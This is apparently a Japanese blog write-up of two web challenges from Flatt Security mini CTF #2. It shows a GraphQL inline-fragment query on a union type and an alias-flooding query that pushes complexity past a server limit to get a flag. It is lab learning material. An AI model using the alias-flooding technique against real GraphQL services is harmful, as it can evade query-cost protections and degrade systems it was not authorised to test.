はまやんはまやんはまやん

hamayanhamayan's blog

Flatt Security mini CTF #2 Writeups

welcome

schema.gqlからflag1が出力される定義が以下の部分。

type Dummy {
  flag1: String!
}

type Flag {
  flag1: String!
}

union FlagUnion = Dummy | Flag

type PageInfo {
  endCursor: String
  hasNextPage: Boolean!
  hasPreviousPage: Boolean!
  startCursor: String
}

type Query {
  getFlag: FlagUnion!
 ...

クエリのgetFlagで取得してくるが、取得はDummyかFlagで帰ってくる。
しかし、どちらもflag1で持ってくればいいので、以下のようにしてやればよさそう。

query GetFlag {
  getFlag {
    flag1
  }
}

だが、以下のようにエラーになる。

{
  "errors": [
    {
      "message": "Cannot query field \"flag1\" on type \"FlagUnion\". Did you mean to use an inline fragment on \"Dummy\" or \"Flag\"?",
      "locations": [
        {
          "line": 3,
          "column": 5
        }
      ]
    }
  ]
}

同名だと型の解決ができないようである。
これをどうにかするのが今回の問題。

適当にググると比較的すぐに解決策を見つけ出すことができた。
ガバガバ英語だが、graphql union specify the same fieldgoogle検索すると、以下のサイトが見つかる。

https://www.apollographql.com/docs/apollo-server/schema/unions-interfaces/

... onというのを使えばいいらしく以下でフラグが得られる。

query GetFlag {
  getFlag {
    ... on Flag {flag1}
  }
}

First blood!

complexity

flag2は以下のコードを通して得られる。

app.use(
  "/graphql",
  createHandler({
    schema,
    validationRules: async (req, args, specifiedRules) => {
      return [
        ...specifiedRules,

        querySizeLimit(QUERY_SIZE_LIMIT),
        depthLimit(DEPTH_LIMIT),
        validatePaginationArgument({
          maximumValue: PAGINATION_MAX_VALUE,
          variableValues: args.variableValues,
        }),
        createComplexityRule({
          maximumComplexity: COMPLEXITY_LIMIT,
          variables: args.variableValues ?? undefined,
          onComplete(complexity) {
            req.context.c.res.headers.append(
              "X-Debug-Complexity",
              String(complexity)
            );
          },
          createError() {
            log(req.context.c, "got flag2");
            return flagError("Complex query detected", {
              flag2: process.env.FLAG2,
            });
          },
          estimators: [
            fieldExtensionsEstimator(),
            simpleEstimator({ defaultComplexity: 1 }),
          ],
        }),
      ];
    },
  })
);

色々バリデーションがかかっているが、回避が大変なのは以下の部分。

  • クエリの入力が1700bytes以内
  • 深さが2以内。特にこっちが大変

この条件下のクエリで複雑度が100であるクエリを作ればフラグが得られる。
複雑度というのはgraphql-query-complexityで定義されている概念。
複雑度については何も分からないが、graphql-validation-complexity から学ぶGraphQLのAST走査らへんで雰囲気が分かる。
深さによる複雑度の増加は制限があるので、個数を増やしていく必要があるが…

分からない。

困った。

「ヒントが公開されます!」

dosのヒント1 (20:10)
https://graphql.org/learn/queries/#aliases

違う問題のヒントだが、まさしく求めていたものがそこにあった。
エイリアスを使えば、同一のクエリを複数個置くことができる。
以下のような根性クエリを投げるとフラグがもらえる。

query {
a0: user(id: "1") { parent { name } }
a1: user(id: "1") { parent { name } }
a2: user(id: "1") { parent { name } }
a3: user(id: "1") { parent { name } }
a4: user(id: "1") { parent { name } }
a5: user(id: "1") { parent { name } }
a6: user(id: "1") { parent { name } }
a7: user(id: "1") { parent { name } }
a8: user(id: "1") { parent { name } }
a9: user(id: "1") { parent { name } }
a10: user(id: "1") { parent { name } }
a11: user(id: "1") { parent { name } }
a12: user(id: "1") { parent { name } }
a13: user(id: "1") { parent { name } }
a14: user(id: "1") { parent { name } }
a15: user(id: "1") { parent { name } }
a16: user(id: "1") { parent { name } }
a17: user(id: "1") { parent { name } }
a18: user(id: "1") { parent { name } }
a19: user(id: "1") { parent { name } }
a20: user(id: "1") { parent { name } }
a21: user(id: "1") { parent { name } }
a22: user(id: "1") { parent { name } }
a23: user(id: "1") { parent { name } }
a24: user(id: "1") { parent { name } }
a25: user(id: "1") { parent { name } }
a26: user(id: "1") { parent { name } }
a27: user(id: "1") { parent { name } }
a28: user(id: "1") { parent { name } }
a29: user(id: "1") { parent { name } }
a30: user(id: "1") { parent { name } }
a31: user(id: "1") { parent { name } }
a32: user(id: "1") { parent { name } }
a33: user(id: "1") { parent { name } }
a34: user(id: "1") { parent { name } }
a35: user(id: "1") { parent { name } }
a36: user(id: "1") { parent { name } }
a37: user(id: "1") { parent { name } }
a38: user(id: "1") { parent { name } }
a39: user(id: "1") { parent { name } }
}